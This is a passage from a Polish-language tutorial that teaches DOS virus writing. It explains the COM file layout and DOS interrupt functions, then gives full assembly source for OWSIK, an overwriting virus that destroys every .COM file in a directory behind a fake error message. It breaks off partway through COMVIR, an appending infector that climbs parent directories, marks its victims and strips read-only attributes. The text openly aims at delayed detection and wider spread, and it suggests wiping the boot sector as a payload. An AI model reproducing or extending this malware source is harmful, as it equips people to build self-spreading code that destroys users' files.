39 010B  B0 00      mov   al, 00h
40 010D  CD 21      int   21h
41
42 010F      dane:
43 010F  49 20 6C 6F 76 65 20+      hello db 'I love viruses!', 13, 10,
44      76 69 72 75 73 65 73+
45      21 21 21 0D 0A 24
46
;puste
51
52 0123      segment_kodu ENDS
53      end start
```

Listingi są bardzo ważne. Dzięki nim możemy zobaczyć jak naprawdę wygląda program. A jak naprawdę wygląda? Otwórz program przy pomocy debuggera lub hexeditora. Prześledź jego działanie. Zwróć uwagę na kody maszynowe instrukcji. Pamiętaj: Debugger to podstawowe narzędzie programisty wirusów. Dobrym debuggerem jest Turbo Debugger('td'). Powinien być dołączony do Twojego TASMA.

Plik 'hello.com' po skompilowaniu jest ciągiem kilkunastu bajtów. Niektóre z tych bajtów to rozkazy, a niektóre to dane. Program TASM tłumaczy to, co wpisujesz do pliku 'hello.asm' na postać zrozumiałą dla procesora. Np. rozkaz 'push cs' ma jednobajtowy kod maszynowy '0Eh'. rozkaz 'mov ah' ma również jednobajtowy kod — '0B4h'. To co znajduje się za nim to wartość, która ma zostać załadowana do rejestru 'ah', stąd kod całej instrukcji ma postać: 'B4 09'.

Następny rozkaz to 'lea dx, ds:[hello]'. Zastanówmy się jak zakodować tę instrukcję maszynowo. Jak widać z listingu ma ona postać: 'BA 01 0F'. Co ona oznaczają? Co ta instrukcja lea właściwie robi? Jeżeli wykonałeś ostatnie ćwiczenie i uruchomiłeś nasz program 'hello.com' pod Turbo Debuggerem to na pewno zauważyłeś, że TD zdisassemblował ciąg trzech bajtów odpowiadających instrukcji 'lea dx, ds:[hello]' jako instrukcję 'mov dx, 010Fh'. Dlaczego tak się stało? Zadaniem instrukcji 'lea' jest załadowanie adresu początku ciągu znaków do wypisania. Dzięki temu funkcja DOS — 09h będzie wiedziała skąd ma ten tekst wypisać. W naszym przypadku nasz tekst zaczyna się od adresu 010Fh. Zadaniem instrukcji lea jest załadowanie właśnie tego adresu. Ponieważ w tym wypadku instrukcja 'lea' robi dokładnie to samo co 'mov dx, offset hello' więc kompilator wstawia w miejsce 'lea' rozkaz 'mov'. Zauważ jedna BARDZO ważną rzecz. **Zarówno rozkaz 'lea dx, ds:[hello]' jak i 'mov dx, offset hello' nie liczą adresu łańcucha 'hello' dynamicznie. Kompilator w chwili natrafienia na rozkaz 'mov dx, offset hello' odlicza offset łańcucha 'hello' w programie i wstawia w to miejsce stałą, w naszym wypadku 010Fh.** Dlaczego to jest takie ważne? Ano wyobraźmy sobie, że po skompilowaniu programu dopiszemy przed łańcuchem 'I love viruses!' ciąg 0F0h dowolnych bajtów. Wtedy nasz łańcuch do wyświetlenia będzie znajdował się pod adresem 01FFh, ale w rejestrze dx znajdzie się wartość 010Fh. Funkcja DOS zacznie wypisywać te 0F0h bajtów zamiast naszego tekstu. Offsety nie będą się zgadzały. Do tego zagadnienia wrócimy przy opisie sposobu infekcji pliku COM przez rozkaz 'E9 xxxx'.

Jest jeszcze jedna kwestia. Skąd procesor wie czy bajt, który wykonuje jest rozkazem czy daną? Ano nie wie tego wcale. Jeżeli procesor zacznie wykonywać dane najprawdopodobniej się zawiesi, gdyż po jakimś czasie natrafi na np. literę, która nie jest kodem rozkazu. Spróbuj teraz z końca naszego programu 'hello.asm' usunąć trzy ostatnie linijki kończące działanie programu. Co się wtedy stanie? Program natrafi na ciąg: 'I love viruses!' i zacznie go wykonywać, jakby był on dalszą częścią programu. W najlepszym wypadku grozi zawieszenie komputera. Jaki ten Assembler piękny, prawda? Przy kodowaniu w C, czy Pascalu nigdy nie wpadniemy w taką pułapkę. Kodowanie w Assemblerze jest swego rodzaju sztuką.

6.3 Budowa pliku COM w pamięci

Wiemy już, że program COM jest ładowany przez DOS pod adres CS:0100h. A po co tak dziwnie? Żeby utrudnić koderom wirusów życie? Co znajduje się w tej niezbadanej przestrzeni między adresem CS:0000h, a adresem CS:0100h po załadowaniu pliku COM do pamięci?

6.3.1 Blok wstępny programu (PSP)

Każdemu programowi wprowadzonemu do pamięci operacyjnej przez DOS przydziela się pewien obszar pamięci. Początek tego obszaru, określany jako początek *segmentu programu* ma istotne znaczenie w systemie DOS, gdyż tam właśnie jest umieszczany blok wstępny programu,

<i>Adres w pamięci</i>	<i>Zawartość pamięci</i>
CS:0000h – CS:0100h	Blok wstępny — PSP
CS:0100h – CS:????h	Kod programu załadowany z pliku

Tabela 6.1: Wygląd programu COM po załadowaniu do pamięci

który jest odpowiedzialny za komunikację między procesem¹ a systemem operacyjnym. Służy on systemowi do przechowywania informacji związanych z procesem, m. in. informacji o plikach używanych przez proces, parametrów przekazanych w chwili rozpoczęcia procesu itp. Ogólnie można powiedzieć, że blok wstępny programu PSP (*ang. program segment prefix*) jest częścią stanu systemu operacyjnego związaną z aktualnie wykonywanym programem, odpowiadając za jego rozpoczęcie, działanie i poprawne zakończenie.

Rozmiar bloku PSP wynosi 256 bajtów (0100h). Dlatego właśnie wykonywanie programu COM zaczyna się od adresu CS:0100h. Wcześniej tzn. między CS:0000h – CS:0100h znajduje się blok wstępny programu — PSP. Ogólna budowa pliku typu COM została przedstawiona w tabeli 6.1.

O ile to co znajduje się między CS:0100h – CS:????h (gdzie maksymalna wartość ????h to FFFFh) zależy do zawartości pliku COM programu, który jest właśnie wykonywany, o tyle budowa bloku PSP jest zawsze taka sama. Została ona opisana w tabeli 6.2. Mogą się tylko zamieniać wartości określonych pól.

<i>Adres pola</i>	<i>Długość pola</i>	<i>Zawartość</i>
00h	2	int 20h (kod rozkazu)
02h	2	Pamięć niedostępna dla programu (adres segmentowy)
04h	1	Zarezerwowane
05h	5	CALL FAR (dalekie odwołanie do systemu DOS — 06h — dostępna pamięć w segmencie)
0Ah	4	Zapamiętywany adres zakończenia programu (<i>segment:offset</i> — pierwsze dwa bajty to segment, a drugie dwa to offset — odwrotna kolejność) — int 22h
0Eh	4	Adres programu obsługi Ctrl-Break(<i>segment:offset</i>) — int 23h
12h	4	Adres programu obsługi błędów krytycznych(<i>segment:offset</i>) — int 24h
16h	2	Adres bloku PSP programu rodzicielskiego
18h	20	Tablica plików procesu(JFT). Zawiera pliki otwarte przez proces.
2Ch	2	Adres otoczenia programu(segment)

¹Procesem nazywamy załadowany do pamięci program

2Eh	4	Pole do przechowywania SS:SP podczas wywoływania funkcji systemu
32h	2	Liczba elementów tablicy JFT
34h	4	Daleki wskaźnik(<i>segment:offset</i>) do tablicy plików procesu JFT
38h	4	Daleki wskaźnik. Brak informacji
3Ch	20	zarezerwowane
50h	3	Kody rozkazów int 21h; retf
53h	9	Zarezerwowane
5Ch	16	Standardowy blok opisu pliku nr 1 — FCB1
6Ch	20	Standardowy blok opisu pliku nr 2 — FCB2
80h	128	Bufor transmisji dyskowych (DTA). Bezpośrednio po uruchomieniu programu zawiera jego wiersz wejściowy, zawierający parametry podane z linii poleceń, zakończony znakiem CR(0Dh). Bajt pod adresem 080h określa długość wiersza wejściowego nie uwzględniając znaku CR.

Tabela 6.2: Blok wstępny programu — PSP

Budowa bloku PSP jest dość złożona. Nie martw się jednak jeżeli znaczenie niektórych pól jest dla Ciebie niejasne. Nie trzeba znać wszystkich pól. Niektóre z nich nie są używane od wersji systemu DOS 2.0 (np. bloki FCB), a zostały zachowane wyłącznie dla zachowania zgodności wersji. Dla nas najważniejsze będzie ostatnie pole bloku PSP zaczynające się od adresu CS:0080h zawierające bufor transmisji dyskowych — DTA. Bufor DTA zostanie opisany bardzo dokładnie przy omówianiu funkcji przeszukujących katalogi.

6.3.2 Ładowanie pliku COM

Przekazując sterowanie do pliku COM system DOS inicjuje kilka rejestrów ustalonymi wartościami:

- rejestry segmentowe CS, DS, ES, SS wskazują na adres bloku PSP programu
- IP ustawiany jest na 0100h
- SP wskazuje na koniec pamięci dostępnej w segmencie (zwykle 0FFFEh)
- na stosie umieszczana jest wartość 0000h

6.4 Infekcja plików COM przez nadpisanie

Zanim przystąpimy do pisania naszego pierwszego wirusa, poznamy kilka użytecznych funkcji.

6.4.1 Kilka przydatnych funkcji i struktur

Spójrzmy jeszcze raz na ostatnie pole tabeli opisującej blok PSP. Pod adresem CS:0080h, po uruchomieniu programu COM, znajduje się tzw. bufor transmisji dyskowych — DTA. Jego budowę przedstawia tabela 6.3.

Offset	Rozmiar	Zawartość
0h	15h	Zarezerwowane dla funkcji 4Fh
15h	1h	Atrybuty znalezionej pozycji w katalogu
16h	2h	Czas ostatniej modyfikacji znalezionego pliku
18h	2h	Data ostatniej modyfikacji znalezionego pliku
1Ah	4h	Rozmiar znalezionego pliku w bajtach
1Eh	0Dh	Nazwa znalezionego pliku

Tabela 6.3: Budowa bufora DTA

Jest on bardzo ważny dla programisty wirusów, gdyż to właśnie tam funkcje przeszukujące katalog(4Eh\21h, 4Fh\21h) zwracają nazwę znalezionego pliku.

Najważniejsza jest nazwa znalezionego pliku. Znajduje się ona pod offsetem 2Eh licząc od początku bufora DTA. Ponieważ początek bufora DTA znajduje się pod offsetem 80h względem CS, więc całkowite przesunięcie nazwy w segmencie wynosi: cs:[80h+2Eh].

Teraz powinniśmy poznać funkcje z tabeli 6.4.

Funkcja:	4Eh przerwania 21h
Nazwa:	Znajdowanie pierwszego pliku w katalogu
Wywołanie:	ah = 4Eh DS:DX — adres łańcucha w kodzie ASCII zawierającego maskę szukanego pliku (np. '*.com') zakończoną zerem CX — atrybuty poszukiwanego pliku
Powrót:	Ustawiony znacznik C(CF=1) — wystąpił błąd (zwykle brak pliku) Nie ustawiony znacznik C(CF=0) — OK
Opis:	Funkcja przeszukuje katalog w poszukiwaniu pliku odpowiadającego wzorcowi podanym w DS:DX. Nazwa znalezionego pliku zwracana jest do bufora DTA(CS:0080h).
Funkcja:	4Fh przerwania 21h
Nazwa:	Znajdowanie następnego pliku w katalogu
Wywołanie:	ah = 4Fh
Powrót:	Ustawiony znacznik C(CF=1) — wystąpił błąd (brak następnego pliku) Nie ustawiony znacznik C(CF=0) — OK

Opis:	Funkcja kontynuuje przeszukiwanie katalogu w poszukiwaniu kolejnego pliku oświadczającemu wzorcowi podanym dla funkcji 4Eh. Nazwa znalezionej pliku zwracana jest do bufora DTA(CS:0080h).
Funkcja:	3Dh przerwania 21h
Nazwa:	Otworzenie pliku
Wywołanie:	ah = 3Dh DS:DX — nazwa pliku do otworzenia al — tryb otwarcia pliku al = 0 : do odczytu al = 1 : do zapisu al = 2 : do odczytu i zapisu
Powrót:	Ustawiony znacznik C(CF=1) — wystąpił błąd i AX zawiera kod błędu Nie ustawiony znacznik C(CF=0) — OK i AX zawiera uchwyt otworzonego pliku
Opis:	Funkcja otwiera plik, którego nazwa znajduje się pod adresem DS:DX i zwraca jego uchwyt do AX.
Funkcja:	3Eh przerwania 21h
Nazwa:	Zamknięcie otwartego pliku
Wywołanie:	ah = 3Eh BX — uchwyt pliku
Powrót:	Ustawiony znacznik C(CF=1) — wystąpił błąd i AX zawiera kod błędu Nie ustawiony znacznik C(CF=0) — OK
Opis:	Funkcja zamyka plik otwarty za pomocą funkcji 3Dh.
Funkcja:	40h przerwania 21h
Nazwa:	Zapis do otwartego pliku
Wywołanie:	ah = 40h BX — uchwyt pliku DS:DX — adres bufora zawierającego dane do zapisu CX — ilość bajtów do zapisu
Powrót:	Ustawiony znacznik C(CF=1) — wystąpił błąd i AX zawiera kod błędu Nie ustawiony znacznik C(CF=0) — OK i AX zawiera ilość zapisanych bajtów
Opis:	Funkcja zapisuje dane do otwartego za pomocą funkcji 3Dh pliku.

Tabela 6.4: Przydatne funkcje (1)

6.4.2 Przykład wirusa infekującego przez nadpisanie

Znając powyższe pięć funkcji jesteśmy już gotowi do napisania najprostszego wirusa. Będzie to bardzo prymitywny wirus. Wszystkie atakowane przez niego obiekty przestaną działać. Nasz wirus będzie działał według algorytmu:

1. Szukaj pierwszego pliku COM w bieżącym katalogu.
2. Jeżeli nie istnieje, to wyświetl wiadomość i zakończ program (W katalogu istnieje zawsze przynajmniej jeden plik COM. Plik wirusa jest przecież także plikiem COM.). Jeżeli znaleziono, to przejdź do kroku 3.
3. Otwórz znaleziony plik do zapisu i zapisz na jego początku ciało wirusa. Wirus jest programem aktualnie wykonywanym, więc znajduje się w pamięci operacyjnej pod adresem CS:0100h. Po zapisaniu zamknij plik.
4. Szukaj następnego pliku COM. Jeżeli jest, to przejdź do punktu 3. Jeżeli nie istnieje, to zakończ program.

Przystąpmy do analizy kodu źródłowego:

```

;-----
;
;               OWSIK.ASM
;
; OWSIK - jest bardzo prostym wirusem nadpisującym
;         plików COM. Wirus niszczy nieodwracalnie
;         wszystkie zarażane pliki.
;         Wirus zainfekuje wszystkie pliki: '*.com'
;         w bieżącym katalogu.
;
; Autor:  Piotr Ładyżyński   16 lutego 2002r.   Michalin
;
; Kompilacja:  TASM   owsik.asm
; Konsolidacja: TLINK (z opcją t) owsik.obj
;-----

```

```

dlugosc_wirusa = (offset virus_end) - (offset virus_start)

```

```

; atrybuty pozycji w katalogu
atr_tylko_do_odczytu   = 00000001b
atr_ukryty            = 00000010b
atr_systemowy        = 00000100b
atr_volumeID         = 00001000b
atr_katalog          = 00010000b
atr_archiwalny       = 00100000b
atrybut              = 00100111b

```

```

code    segment
        assume ds:code, ss:code, cs:code, es:code
        org      100h                ; Program typu COM
                                           ; zaczyna się od offsetu
                                           ; 0100h.

virus_start:
        mov     ah, 4Eh                ; szukaj pliku
        mov     dx,offset plik_COM     ; maska pliku do szukania
        mov     cx,atr_archiwalny     ; atrybut poszukiwanego pliku
        int     21h
        jnc     znaleziono_plik_COM    ; jezeli cf=0 to znaleziono plik

        jmp     nie_ma_wiecej_plikow  ; brak plku COM

znaleziono_plik_COM:
        mov     ax, 3d02h              ; otwórz plik do zapisu-odczytu
        mov     dx, 80h+1Eh           ; Nazwa pliku znajduje się
        int     21h                  ; w buforze DTA pod offsetem
                                           ; 2Eh (patrz tabela DTA). Bufor
                                           ; DTA znajduje się w bloku PSP
                                           ; pod offsetem 080h. Stąd łączny
                                           ; offset względem segmentu
                                           ; DS to 80h+2Eh.

        mov     bx, ax                ; Przekaż uchwyt pliku do bx
        mov     ah, 40h               ; funkcja - zapisz do pliku
        mov     cx, dlugosc_wirusa    ; ile bajtów zapisać
        mov     dx, 0100h             ; skąd zapisać. Od adresu DS:0100h
        int     21h                  ; zaczyna się nasz wirus.

        mov     ah,3Eh                ; zamknij zarażony plik
        int     21h

szukaj_nastepnego_pliku:
        mov     ah,4Fh                ; funkcja DOS -
                                           ; szukaj następnego pliku

        int     21h
        jnc     znaleziono_plik_COM    ; jezeli cf=0 to znaleziono plik.

nie_ma_wiecej_plikow:
        mov     ah, 09h                ; wyświetl fikcyjną wiadomość

```

```

        mov     dx, offset wiadomosc
        int     21h

        mov     ah, 4Ch                ; zakończ program
        mov     al, 01h
        int     21h

plik_COM      db     '*.com',0
wiadomosc     db     'Not enough memory to allocate program structure
                db     13, 10, '$'

virus_end:

code         ends
end         virus_start                ; Zaczynij wykonywać program
                                           ; od etykiety 'virus_start'.

```

6.5 Infekcja plików COM przez skok do wirusa

Mamy już naszego pierwszego wirusa za sobą. Nie jest on może zbyt okazały, ale dobrze jest zacząć od czegoś prostego, co zobrazuje ogólny schemat. Jakie są wady nazego OWSIKA? Po pierwsze jego wykrycie to sprawa bardzo krótkiego czasu. Każdy nawet najbardziej tępy użytkownik zauważy, że coś jest nie tak, gdy wszystkie programy COM w katalogu przestaną nagle działać. Nam zależy na jak najpóźniejszym wykryciu wirusa. Jeżeli wirus będzie odpowiednio długo działał w systemie istnieje szansa, że zostanie skopiowany na większą ilość komputerów. Trzeba więc napisać wirusa, który nie niszczyłby atakowanych plików i umożliwiał po zarażeniu prawidłowe wykonanie programu ofiary. Jak tego dokonać?

Prawidłowy sposób infekcji plików COM nie jest trudny. Na końcu zarażanego pliku dopisujemy kod wirusa, a na początku pliku po uprzednim zapamiętaniu trzech pierwszych bajtów ofiary dopisujemy trzybajtowy rozkaz skoku na koniec pliku, gdzie dopisał się wirus. Najczęściej jest to rozkaz JMP NEAR posiadający kod maszynowy: 0E9h ??h ??h. Wartości ??h ??h oznaczają wartość dodawaną do wartości rejestru IP po wykonaniu rozkazu. Należy zwrócić uwagę, że rozkaz 0E9h liczy offset od swojego końca. Jeżeli na przykład rozkaz '0E9h 00h 11h' znajduje się pod offsetem 100h po jego wykonaniu $IP = 0114h = 0100h + 3h(\text{długość instrukcji}) + 11h$, a nie $IP = 0111h$.

Po uruchomieniu zarażonego programu sterowanie zostaje oddane najpierw do wirusa, który po wykonaniu odpowiednich czynności przywraca zapamiętane trzy pierwsze bajty ofiary i wykonuje skok pod adres CS:0100h. Ofiara wykonuje się w normalny sposób. Użytkownik zwykle nie zauważa nic, poza drobnym opóźnieniem. Schematyczny obraz pliku został przedstawiony w tabeli 6.5.

0100h	0E9 xxxh - rozkaz skoku do wirusa, który jest dopisany na końcu pliku. xxxh = (długość infekowanego programu) - 3 bajty
0103h	Kod programu
yyyyh	Tu zaczyna się kod wirusa. yyyyh = 3h + 0100h + xxxh.

Tabela 6.5: Zawartość zarażonego pliku COM

Przed przystąpieniem do kodowania wirusa poznamy trochę użytecznych funkcji. Zebrałem je w tabeli 6.6.

Funkcja:	1Ah przerwania 21h
Nazwa:	Zmienia adres bufora DTA
Wywołanie:	ah = 1Ah DS:DX - adres nowego bufora
Powrót:	Brak.
Opis:	Funkcja zmienia standardowy adres DTA (CS:0080h) na podany w rejestrach DS:DX. Należy pamiętać, że nowy bufor musi mieć co najmniej 80h bajtów.
Funkcja:	43h przerwania 21h
Nazwa:	Sprawdzenie lub zmiana atrybutów pliku.
Wywołanie:	ah = 43h al = 0 — pobranie atrybutów. al = 1 — zmiana atrybutów. DS:DX — nazwa pliku CX - nowe atrybuty(jeśli al=1)
Powrót:	CX — atrybuty pliku(jeśli al = 0)
Opis:	Funkcja odczytuje lub zmienia atrybut pliku, którego nazwę podano w DS:DX.
Funkcja:	3Fh przerwania 21h
Nazwa:	Odczyt z pliku
Wywołanie:	ah = 3Fh BX — uchwyt pliku DS:DX — adres bufora, do którego mają trafić odczytane dane CX — ilość bajtów do odczytania
Powrót:	cf=1 — wystąpił błąd i AX zawiera kod błędu cf=0 - wszystko OK. AX zawiera ilość odczytanych bajtów
Opis:	Funkcja odczytuje dane z pliku do bufora podanego w DS:DX. Plik musi zostać wcześniej otworzony.
Funkcja:	42h przerwania 21h
Nazwa:	Zmienia wskaźnik pliku
Wywołanie:	ah = 42h

Powrót: Opis:	<p>BX — uchwyt pliku CX:DX — o ile bajtów przesunąć($65536 * CX + DX$) al — typ ustawienia al = 0 : początek pliku + CX:DX al = 1 : aktualna pozycja + CX:DX al = 2 : koniec pliku + CX:DX DX:AX - nowe położenie wskaźnika w pliku</p> <p>Funkcja zmienia wskaźnik w pliku. Chcemy na przykład odczytać bajt, który jest położony pod offsetem 0011h od początku pliku. Po otwarciu tego pliku wskaźnik jest ustawiany domyślnie na początek. Musimy więc go przesunąć. W tym celu ładujemy do CX=0, DX=0011h, al=0, bx=uchwyt i wywołujemy funkcję. Teraz możemy już odczytać właściwe dane.</p> <p>Funkcję można również wykorzystać do odczytania rozmiaru pliku. W tym celu wywołujemy ją z parametrami: ah = 42h al = 02h — przesunąć na koniec CX = 0 DX = 0</p> <p>Po wywołaniu przerwania liczba zawarta w rejestrach DX:AX zawiera aktualną pozycję w pliku, a ponieważ znajdujemy się dokładnie na końcu pliku, DX:AX = rozmiar pliku.</p>
Funkcja:	57h przerwania 21h
Nazwa: Wywołanie: Powrót: Opis:	<p>Sprawdzenie lub zmiana daty i czasu modyfikacji pliku. ah = 57h al = 0 — sprawdzanie al = 1 — zmiana BX - uchwyt pliku CX - czas do ustawienia(jeśli al=1) DX - data do ustawienia(jeśli al=1)</p> <p>CX — czas ostatniej modyfikacji pliku(jeśli al = 0) DX - data ostatniej modyfikacji pliku(jeśli al = 0)</p> <p>Funkcja zmienia lub sprawdza czas i datę ostatniej modyfikacji pliku.</p> <p>Znaczenie kolejnych bitów: DX: 9..15 — rok od 1980 5..8 — miesiąc 0..4 — dzień</p> <p>CX:</p>

	11..15 — godzina 5..10 — minuta 0..4 — sekunda div 2
Funkcja:	47h przerwania 21h
Nazwa:	Pytanie o bieżący katalog.
Wywołanie:	ah = 47h DS:SI — 64 bajtowy bufor, do którego zostanie zwrócona ścieżka dl — dysk(0=bieżący, 1=A, 080h=C itd.)
Powrót:	Jeżeli cf=1, to błąd i AX zawiera kod błędu.
Opis:	Funkcja zwraca do bufora nazwę bieżącego katalogu. Maksymalnie 64 znaki.
Funkcja:	3Bh przerwania 21h
Nazwa:	Ustalenie bieżącego katalogu.
Wywołanie:	ah = 3Bh DS:DX — adres łańcucha zawierającego nazwę nowego katalogu
Powrót:	Jeżeli cf=1, to błąd i AX zawiera kod błędu. cf=0 — OK
Opis:	Funkcja zmienia bieżący katalog na podany w DS:DX

Tabela 6.6: Przydatne funkcje (2)

6.5.1 Piszemy wirusa

Nadszedł czas na napisanie wirusa potrafiącego prawidłowo infekować pliki COM. Wprowadzimy w nim kilka ulepszeń. Wszystkie trudniejsze fragmenty będę na bieżąco wyjaśniał. Kod znajduje się na listingu.

```

;-----
;
;                               COMVIR.ASM
;
;
; COMVIR.ASM - jest wirusem nierezydentnym plików '*.COM'.
; Comvir jest wirusem z rodziny appending czyli
; dopisuje się na końcu pliku.
;
;
; Autor:          Piotr Ładyżyński   25 luty 2001r.   Michalin
; Kompilacja:    TASM (opcja - m3)
; Linking:       TLINK (opcja - t)
;
;-----

```

```

; atrybuty pozycji w katalogu

```

```
atr_tylko_do_odczytu = 00000001b
atr_ukryty           = 00000010b
atr_systemowy       = 00000100b
atr_volumeID        = 00001000b
atr_katalog         = 00010000b
atr_archiwalny      = 00100000b
atrybut             = 00100111b
```

```
; atrybut - określa atrybuty poszukiwanej pozycji w katalogu.
; Nasz wirus będzie infekował pliki z atrybutami:
; atrybut = atr_tylko_do_odczytu + atr_ukryty +
;                               + atr_systemowy + atr_archiwalny
```

DTA struc

```
DTAfill           db 21 dup (0)
DTAatrybut        db 0
DTAczas           dw 0
DTAdata           dw 0
DTAdlugosc        dd 0
DTAnazwa          db 13 dup (0)
```

DTA ends

```
; TASM umożliwia nam deklarowanie struktur podobnie jak
; w językach wyższego poziomu. Od chwili zadeklarowania
; DTA staje się taką samą zmienną jak np. db i można jej używać w sposób
; moja_zmienna DTA ?,?,?,?,?;
```

```
dlugosc_wirusa = (offset virus_end)-(offset virus_start)
```

```
Vrok             = 1999
```

```
Vmiesiac         = 12
```

```
Vdzien           = 13
```

```
Vznacznik        = (Vrok-1980)*512+Vmiesiac*32+Vdzien
```

```
; Chcemy żeby nasz wirus nie zarażał plików już zarażonych. W tym celu
; oznaczymy zarażone już pliki przez datę modyfikacji tzn. ustawimy
; każdemu zarażanemu plikowi datę modyfikacji na np. 13.12.1999r.
; Kiedy wirus zobaczy, że data modyfikacji ma właśnie tę wartość
; ominie plik gdyż uzna go jako już zarażony.
; Wzór określający VZnacznik wynika ze sposobu podawania daty do funkcji
; 57h przerwania 21h(patrz opis funkcji).
; 512 = 2^9    <- mov dx, (rok-1980) <- shl dx, 9
; 32 = 2^5
```

MojProgram SEGMENT

```
ASSUME CS:MojProgram
org 0100h
```

```

start:
    db 0E9h, 00h, 00h
; Symulowany skok do wirusa. Po wykonaniu tego skoku
; IP = offset virus_start

virus_start:
    call trick
trick:
    pop bp
    sub bp, offset trick

```

Stop. Przeczytaj poprzednie trzy rozkazy jeszcze raz. Znajdują się one na początku większości wirusów. Pisząc program HELLO.ASM zwróciłem uwagę na bardzo istotny fakt, a mianowicie na statyczne liczenie offsetów w programie przez kompilator. Jakie to ma dla nas znaczenie? Wyobraźmy sobie taką sytuację. Mamy wirusa, tuż po kompilacji. Znajduje się on pod offsetem CS:0100h i chcemy odwołać się np. do zmiennej, która znajduje się pod offsetem CS:0110h. Teraz nic nie stoi na przeszkodzie, ale pamiętajmy o tym, że w następnym pokoleniu wirus nie będzie zaczynał się już od adresu 0100h, ponieważ dopisze się na końcu pliku. Jeżeli wtedy odwołamy się do zmiennej, która znajduje się pod offsetem CS:0110h to nie odczytamy zaplanowanej zmiennej tylko jakąś instrukcję programu, który zaraziliśmy. Jak ominąć tę barierę?

Zastanówmy się jak policzyć nowy offset naszej zmiennej. Nowy offset naszej zmiennej po dopisaniu się na końcu programu o długości k bajtów liczymy wg. wzoru:

$$\text{nowy} = \text{stary} + k - 3$$

Te trzy bajty wynikają z tego, że wirus zapisuje się do pliku od etykiety 'virus_start', więc nie liczymy długości rozkazu: 0E9h 00h 00h.

Po co jednak to CALL? Instrukcja CALL odkłada na stosie adres powrotu(IP), a potem wykonuje skok do etykiety(adresu). Procesor po natrafieniu na rozkaz RET zdejmuję ze stosu wartość IP i wraca do punktu wywołania procedury. My użyjemy CALL, aby dowiedzieć się o aktualnym offsecie w programie(wartości IP). Wykonujemy rozkaz CALL, który odkłada IP na stosie i skacze do etykiety 'trick'. Zdejmujemy adres odłożony na stosie do rejestru BP. Teraz od wartości rejestru BP odejmujemy offset etykiety 'trick'. Pamiętajmy jednak, że 'offset trick' zostanie w procesie kompilacji zastąpiony przez kompilator(TASM) stałą liczbą. W naszym przypadku wartość ta zostanie zastąpiona na 0106h, ponieważ pod właśnie takim offsetem znajduje się etykieta 'trick'. Przy pierwszym uruchomieniu zawartość rejestru BP także wyniesie 0106h, więc po odjęciu względne przesunięcie zawarte w BP wyniesie 0, co jest prawdą.

Wyobraźmy sobie teraz, że nasz wirus zainfekował jakiś program np. 'hello.com'. Wtedy do rejestru BP trafi:

$$\text{BP} = \text{dlugosc_programu_hello} + 100\text{h} + 3(\text{instrukcjaCALL})$$

Po odjęciu od BP 106 bajtów w BP dostaniemy względne przesunięcie wirusa w segmencie. Teraz zamiast adresować zmienna:

lea dx, [zmienna]

będziemy ją adresować:

```
lea dx, [bp][zmienna]
```

Ostatnia instrukcja jest równoważna instrukcjom:

```
mov dx, offset zmienna
add dx, bp
```

Będziemy przy odwołaniu do każdej zmiennej brać poprawkę na rejestr BP. Można oczywiście zamiast rejestru BP używać dowolnego innego np. SI.

Teraz skompiluj całego wirusa i sprawdź zachowanie się sztuczki z CALL pod Turbo Debuggerem. Najpierw uruchom czystego wirusa i sprawdź działanie pierwszych kilku instrukcji, a potem zaraz program HELLO.COM wirusem i również prześledź działanie naszego triku z instrukcją CALL. Bacznie obserwuj co odkładane jest na stosie(SS:SP) przy wywołaniu instrukcji CALL. Możesz również zarazić inne programy i dla ćwiczenia przeanalizować liczenie offsetu względnego w BP. Bądź jednak uważny. Wirus przeskakuje katalogi do góry to znaczy, że jeżeli uruchomisz go w katalogu 'C:\ALA\MA\KOTA' to zostaną zarażone wszystkie pliki COM w katalogach: 'C:\ALA\MA\KOTA', 'C:\ALA\MA', 'C:\ALA' i 'C:\' w wymienionej kolejności.

Przejdźmy do analizy następnego fragmentu kodu:

```
przywroc_trzy_pierwsze_bajty_ofiary:
```

```
    push  cs
    push  cs
    pop   ds
    pop   es
    lea   si, [bp][stare_bajty]
    mov   di, 0100h
    movsb
    movsb
    movsb
```

```
; Przywracamy trzy pierwsze bajty na początek ofiary. W naszym
; przypadku jest to kod - int 20h(0CDh 20h 00h), który po skoku
; pod CS:0100h zakończy program.
```

```
ustaw_nowe_DTA:
```

```
    push  cs
    pop   ds
    lea   dx, [bp][nowe_DTA]
    mov   ah, 1Ah
    int   21h
```

```
pobierz_katalog:
```

```
    mov   ah, 47h           ; wczytaj do bufora bieżący katalog
    xor   dl, dl
    lea   si, [bp][bufor+1]
    int   21h
```

```

        mov     [bp][bufor], '\`

nastepny_katalog:
        call   infekcja             ; zainfekuj wszystkie pliki w katalogu

        mov    ah, 3Bh              ; zmień katalog na '..'(do góry)
        lea   dx, [bp][w_gore]
        int   21h
        jc    przywroc_katalog     ; jeżeli błąd to katalog główny
        jmp   nastepny_katalog

przywroc_katalog:
        mov    ah, 3Bh              ; zmień na zapamiętany katalog
        lea   dx, [bp][bufor]
        int   21h

aktywacja:
; tu należy wpisać psikusa np. zamazanie BOOT sektora

skocz_do_nosiciela:
        mov    ax, 0100h            ; skok pod CS:0100h (do nosiciela)
        jmp   ax
; Pamiętajmy, że pod adres CS:0100h skopiowaliśmy instrukcje
; int 20h. Zakończy ona poprawnie pierwsze pokolenie wirusa.

;*****TU KONCZY SIE KOD WIRUSA

virus_data:
        stare_bajty      db 0CDh, 20h, 90h
        nowe_DTA         DTA ?,?,?,?,?
        maska_COM        db '*.COM', 0
        uchwyt           dw 0000h
        w_gore           db '..', 0
        bufor            db 66 dup (0)
        dlugosc_ofiary   dw 0000h
        skok_do_wirusa   db 0E9h, 00h, 00h

virus_procedury:

; procedura infekująca wszystkie pliki COM w bieżącym katalogu
infekcja PROC
        push   cs
        pop    ds

        mov    ah, 4Eh             ; szukaj pierwszu plik

```

```
mov    cx, atrybut
lea    dx, [bp][maska_COM]
int    21h
jnc    znaleziono_plik_typu_COM
jmp    nie_ma_pliku_COM
```

znaleziono_plik_typu_COM:

```
cmp    [bp][nowe_DTA.DTAdata], Vznacznik ; czy zarażony?
jne    plik_jeszcze_nie_zarazony
jmp    szukaj_nastepny
```

; Powyższe instrukcje porównują datę modyfikacji pliku.
; Jeżeli data zgadza się ze wzorcem, to znaczy, że plik jest już
; zarażony i należy znaleźć inny.

plik_jeszcze_nie_zarazony:

```
mov    ah, 43h                ; zmien atrybut na archiwalny
mov    al, 01h
mov    cx, atr_archiwalny
lea    dx, [bp][nowe_DTA.DTAnazwa]
int    21h
```

; Zmiana atrybutu na archiwalny umożliwi nam również infekcję
; plików COM mających ustawiony atrybut tylko do odczytu.

otworz_plik:

```
mov    ah, 3Dh
mov    al, 02h
lea    dx, [bp][nowe_DTA.DTAnazwa]
int    21h
